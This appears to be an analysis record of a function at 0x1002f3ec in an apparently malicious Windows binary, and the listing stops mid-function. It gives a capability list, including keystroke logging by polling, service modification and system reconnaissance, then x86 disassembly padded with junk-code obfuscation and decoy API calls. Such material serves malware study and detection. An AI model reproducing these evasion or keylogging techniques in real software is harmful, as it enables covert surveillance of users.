Function at 0x1002f3ec
Capabilities:
Accept command line arguments
Check os version
Compare security identifiers
Create directory
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk size
Get file attributes
Get session user name
Identify system language via api
Log keystrokes via polling
Modify service
Parse pe header
Read .ini file

Disassembly:
mov eax, 0x1007ee9e
call fcn.1007dae0
mov eax, 0x15c4
call fcn.1007a290
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x58], ecx
inc edi
mov dword [ebp - 0x30], 0x53606de7
push edi
lea ecx, [ebp - 0x728]
mov byte [ebp - 0x7d], dl
call fcn.10016cb0
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x4c], 0x6fc33146
mov dword [ebp - 0x2c], 0xaa4807c1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f44f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x60], 0xe3556834
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f43a
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f475
push dword [ebp - 0x14]
lea ecx, [ebp - 0x728]
call fcn.10016d1d
mov dword [eax], 0xd09eb818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f457
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002f497
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1218], 0x2c3978d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002f47e
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1002f4b0
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x60], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002f49f
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1002f644
jmp 0x1002f4c6
xor eax, eax
mov dword [ebp - 0x4c], 0xdd711a53
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x4c], 0xb3b3333d
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f4ec
push 0x13ff
push eax
call ebx
mov eax, dword [ebp - 0x30]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x60]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x60]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x728]
mov esi, dword [ebp - 0x4c]
push eax
call fcn.10016d1d
xor ecx, ecx
cmp esi, 0x76c
setne cl
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x60]
add eax, ecx
mov ecx, dword [ebp - 0x30]
add ecx, eax
mov eax, dword [ebp - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x60]
sub ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, 0x260e2efe
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x60]
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, 9
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp edx, eax
mov eax, dword [ebp - 0x60]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x60]
cmp eax, edx
setne cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
cmp dword [ebp - 0x4c], eax
jg 0x1002f5c2
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x60], 0
jne 0x1002f5c2
xor eax, eax
mov edx, eax
jmp 0x1002f5c4
mov edx, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setg dl
sub edx, 0xbe945d44
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x60]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x728]
mov eax, dword [ebp - 0x4c]
xor eax, eax
push eax
call fcn.10016d1d
xor eax, eax
lea ecx, [ebp - 0x728]
push eax
call fcn.10016d1d
mov ecx, dword [ebp - 0x1218]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
sete dl
xor eax, eax
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1002f4c4
or esi, 0xffffffff
lea ecx, [ebp - 0x728]
mov dword [ebp - 4], esi
call fcn.10016d18
mov dword [ebp - 0x30], 0x53606de7
lea ecx, [ebp - 0x7e8]
push edi
call fcn.10016cb0
mov dword [ebp - 4], edi
xor eax, eax
mov dword [ebp - 0x4c], 0x6fc33146
mov dword [ebp - 0x2c], 0xaa4807c1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f698
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 0xe3556834
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f683
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f6be
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7e8]
call fcn.10016d1d
mov dword [eax], 0xd09eb818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f6a0
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002f6e0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x12d8], 0x2c3978d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002f6c7
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1002f6f9
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x68], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002f6e8
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1002f88a
jmp 0x1002f709
xor eax, eax
mov dword [ebp - 0x4c], 0xdd711a53
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x4c], 0xb3b3333d
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f72f
push 0x13ff
push eax
call ebx
mov eax, dword [ebp - 0x30]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x68]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x68]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x7e8]
mov esi, dword [ebp - 0x4c]
push eax
call fcn.10016d1d
xor ecx, ecx
cmp esi, 0x76c
setne cl
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x68]
add eax, ecx
mov ecx, dword [ebp - 0x30]
add ecx, eax
mov eax, dword [ebp - 0x68]
cmp ecx, eax
mov eax, dword [ebp - 0x68]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x68]
sub ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, 0x260e2efe
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x68]
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, 9
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp edx, eax
mov eax, dword [ebp - 0x68]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x68]
cmp eax, edx
setne cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x4c], eax
jg 0x1002f805
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x68], 0
jne 0x1002f805
xor eax, eax
mov edx, eax
jmp 0x1002f807
mov edx, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setg dl
sub edx, 0xbe945d44
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x68]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x7e8]
mov eax, dword [ebp - 0x4c]
xor eax, eax
push eax
call fcn.10016d1d
xor eax, eax
lea ecx, [ebp - 0x7e8]
push eax
call fcn.10016d1d
mov ecx, dword [ebp - 0x12d8]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
sete dl
xor eax, eax
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1002f707
or esi, 0xffffffff
lea ecx, [ebp - 0x7e8]
mov dword [ebp - 4], esi
call fcn.10016d18
mov dword [ebp - 0x1c], 0x7bf48c44
lea ecx, [ebp - 0x738]
mov dword [ebp - 0x4c], 0xd7cbae8b
mov dword [ebp - 0x38], 0x2c02a306
mov dword [ebp - 0x50], 0x3063
mov dword [ebp - 0x4c], 0xfffffff8
push 3
call fcn.10016cb0
push 2
pop ebx
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x2c], 0xeb81
mov dword [ebp - 0x48], 0xd786ff52
mov dword [ebp - 0x10], eax
jmp 0x1002f8f6
push dword [ebp - 0x10]
lea ecx, [ebp - 0x738]
call fcn.10016d1d
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002f8e3
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1c], 0x1c23
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002f925
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x738]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
push ebx
call fcn.10016d1d
xor eax, eax
lea ecx, [ebp - 0x738]
push eax
call fcn.10016d1d
mov ecx, esi
sub ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
add eax, ecx
jne 0x1002f95f
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
lea ecx, [ebp - 0x738]
push ebx
call fcn.10016d1d
lea ecx, [ebp - 0x738]
mov eax, dword [eax]
dec eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], esi
call fcn.10016d18
mov dword [ebp - 0x30], 0x53606de7
xor eax, eax
mov dword [ebp - 0x24], 0xfb0b0297
mov dword [ebp - 0x4c], 0xf4caa5d7
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002f9c9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11f4], 0xfffffffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002f9b0
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1002fa91
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x2c], 0x8f492357
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002fa88
xor ecx, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
setge bl
xor edx, edx
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, ebx
setge al
cmp eax, dword [ebp - 0x14]
je 0x1002fa31
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1002fa33
mov edx, edi
jmp 0x1002fa35
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x11f0]
mov edx, dword [ebp - 0x14]
sub edx, eax
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x14]
jns 0x1002f9eb
push 2
xor eax, eax
pop ebx
dec dword [ebp - 0x24]
jns 0x1002f9d5
dec dword [ebp - 0x38]
lea ecx, [ebp - 0x750]
push edi
call fcn.10016cb0
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x49c]
mov dword [ebp - 0x4c], 0x6fc33146
push 0xfffffffffffffffd
mov dword [ebp - 0x2c], 0xaa4807c1
mov dword [ebp - 0x14], esi
pop esi
mov dword [ebp - 0x10], esi
push ebx
call fcn.10016cb0
mov byte [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002faef
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x27c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002fadb
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002fb11
push dword [ebp - 0x14]
lea ecx, [ebp - 0x49c]
call fcn.10016d1d
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002faf7
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002fb31
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x790], 0xba16
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002fb19
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002fb53
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdf0], 0x461d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002fb3a
xor eax, eax
mov dword [ebp - 0x14], edi
push 8
pop ecx
cmp dword [ebp - 0x14], eax
jl 0x1002fbfc
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002fb75
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x49c]
mov dword [ebp - 0x10], eax
xor eax, eax
push eax
call fcn.10016d1d
mov edx, dword [ebp - 0x10]
mov esi, eax
add edx, dword [ebp - 0x14]
xor eax, eax
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
push 0
setle al
xor ecx, ecx
cmp eax, 0x7563ffaf
mov eax, dword [ebp - 0x790]
setge cl
xor edx, edx
cmp ecx, dword [esi]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x27c]
neg eax
cmp eax, 0x693009c
mov eax, dword [ebp - 0x14]
setg cl
sub ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp + eax*4 - 0x27c]
imul eax, ecx, 0x38ab
inc eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x14]
pop eax
push 8
pop ecx
jns 0x1002fb62
push 2
pop ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jg 0x1002fd2b
jmp 0x1002fc0c
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x10], eax
jmp 0x1002fc29
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9d4], 0x5659
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fc18
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x27c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x27c]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x49c]
push eax
call fcn.10016d1d
mov ecx, dword [ebp - 0x14]
mov esi, eax
xor eax, eax
mov edx, dword [ebp + ecx*4 - 0x27c]
mov ecx, dword [ebp - 0x10]
cmp ecx, edx
setle al
xor edx, edx
imul ecx, eax, 0xe71c
mov eax, dword [ebp - 0x9d4]
add ecx, dword [esi]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x27c]
test eax, eax
sete cl
add ecx, edx
imul eax, ecx, 0xa6d7
xor ecx, ecx
cmp eax, ebx
setg cl
imul eax, ecx, 0x3e99
xor ecx, ecx
cmp eax, 0x5291260e
setl cl
xor eax, eax
imul ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x9d4]
je 0x1002fcd6
push eax
lea ecx, [ebp - 0x49c]
call fcn.10016d1d
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
jmp 0x1002fd19
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002fd08
push 0xaad
push 0x1662
push 0xd8d
push 0x89c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
xor eax, eax
push eax
lea ecx, [ebp - 0x49c]
call fcn.10016d1d
cmp dword [eax], 0
jne 0x1002fd2b
dec dword [ebp - 0xdec]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1002fc0a
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 3
call fcn.10016d18
push 0xfffffffffffffffd
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x544]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esi
push ebx
call fcn.10016cb0
mov byte [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002fd77
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x22c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002fd63
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002fd99
push dword [ebp - 0x14]
lea ecx, [ebp - 0x544]
call fcn.10016d1d
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002fd7f
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002fdb9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6b8], 0xba16
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002fda1
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002fddb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe08], 0x461d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002fdc2
xor eax, eax
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x1002fe81
push 8
pop ecx
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002fdfd
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x544]
mov dword [ebp - 0x10], eax
xor eax, eax
push eax
call fcn.10016d1d
mov edx, dword [ebp - 0x10]
mov esi, eax
add edx, dword [ebp - 0x14]
xor eax, eax
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
push 0
setle al
xor ecx, ecx
cmp eax, 0x7563ffaf
mov eax, dword [ebp - 0x6b8]
setge cl
xor edx, edx
cmp ecx, dword [esi]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x22c]
neg eax
cmp eax, 0x693009c
mov eax, dword [ebp - 0x14]
setg cl
sub ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp + eax*4 - 0x22c]
imul eax, ecx, 0x38ab
inc eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x14]
pop eax
jns 0x1002fde7
push 2
pop ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jg 0x1002ffb0
jmp 0x1002fe91
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x10], eax
jmp 0x1002feae
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa04], 0x5659
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fe9d
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x22c]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x544]
push eax
call fcn.10016d1d
mov ecx, dword [ebp - 0x14]
mov esi, eax
xor eax, eax
mov edx, dword [ebp + ecx*4 - 0x22c]
mov ecx, dword [ebp - 0x10]
cmp ecx, edx
setle al
xor edx, edx
imul ecx, eax, 0xe71c
mov eax, dword [ebp - 0xa04]
add ecx, dword [esi]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x22c]
test eax, eax
sete cl
add ecx, edx
imul eax, ecx, 0xa6d7
xor ecx, ecx
cmp eax, ebx
setg cl
imul eax, ecx, 0x3e99
xor ecx, ecx
cmp eax, 0x5291260e
setl cl
xor eax, eax
imul ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0xa04]
je 0x1002ff5b
push eax
lea ecx, [ebp - 0x544]
call fcn.10016d1d
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
jmp 0x1002ff9e
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002ff8d
push 0xaad
push 0x1662
push 0xd8d
push 0x89c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
xor eax, eax
push eax
lea ecx, [ebp - 0x544]
call fcn.10016d1d
cmp dword [eax], 0
jne 0x1002ffb0
dec dword [ebp - 0xe04]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1002fe8f
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 3
call fcn.10016d18
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002ffde
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c], 0xe3556834
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002ffc9
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002fffa
push dword [ebp - 0x14]
lea ecx, [ebp - 0x750]
call fcn.10016d1d
mov dword [eax], 0xd09eb818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002ffe3
push 3
lea ecx, [ebp - 0x848]
call fcn.10016cb0
mov byte [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x10], 0xf251d69f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10030041
push dword [ebp - 0x10]
lea ecx, [ebp - 0x848]
call fcn.10016d1d
mov dword [eax], 0xc6a53d06
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10030022
xor eax, eax
mov dword [ebp - 0x10], eax
mov esi, 0xe055a24b
cmp dword [ebp - 0x10], ebx
jg 0x1003010a
or ecx, 0xffffffff
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x100300fe
or ebx, 0xffffffff
mov dword [ebp - 0x4c], 0x644bb323
lea ecx, [ebp - 0x848]
mov dword [ebp - 0x4c], 0x5477a75e
push dword [ebp - 0x3c]
call fcn.10016d1d
cmp dword [eax], 0
je 0x100300d6
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x848]
call fcn.10016d1d
mov ecx, ebx
sub ecx, dword [eax]
cmp esi, ecx
lea ecx, [ebp - 0x848]
sbb eax, eax
neg eax
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x3c]
call fcn.10016d1d
mov ecx, dword [ebp - 0x4c]
mov esi, eax
xor eax, eax
cmp ecx, 0xdfee
mov ecx, dword [ebp - 0x3c]
setg al
xor edx, edx
cmp eax, ecx
setg dl
cmp edx, dword [esi]
jne 0x100300d6
mov eax, edi
jmp 0x100300d8
xor eax, eax
mov dword [ebp - 0x4c], eax
mov esi, 0xe055a24b
mov eax, dword [ebp - 0x4c]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x3c]
jns 0x1003006a
push 2
xor eax, eax
or ecx, 0xffffffff
pop ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x10030055
lea ecx, [ebp - 0x848]
mov byte [ebp - 4], 3
call fcn.10016d18
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1003013d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1230], 0x2c3978d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10030124
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x10030156
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x6c], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x10030145
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x100302e8
jmp 0x10030166
xor eax, eax
mov dword [ebp - 0x4c], 0xdd711a53
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x4c], 0xb3b3333d
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030190
push 0x13ff
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x6c]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x6c]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x750]
mov esi, dword [ebp - 0x4c]
push eax
call fcn.10016d1d
xor ecx, ecx
cmp esi, 0x76c
setne cl
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x6c]
add eax, ecx
mov ecx, dword [ebp - 0x30]
add ecx, eax
mov eax, dword [ebp - 0x6c]
cmp ecx, eax
mov eax, dword [ebp - 0x6c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x6c]
sub ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, 0x260e2efe
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x6c]
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, 9
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x30]
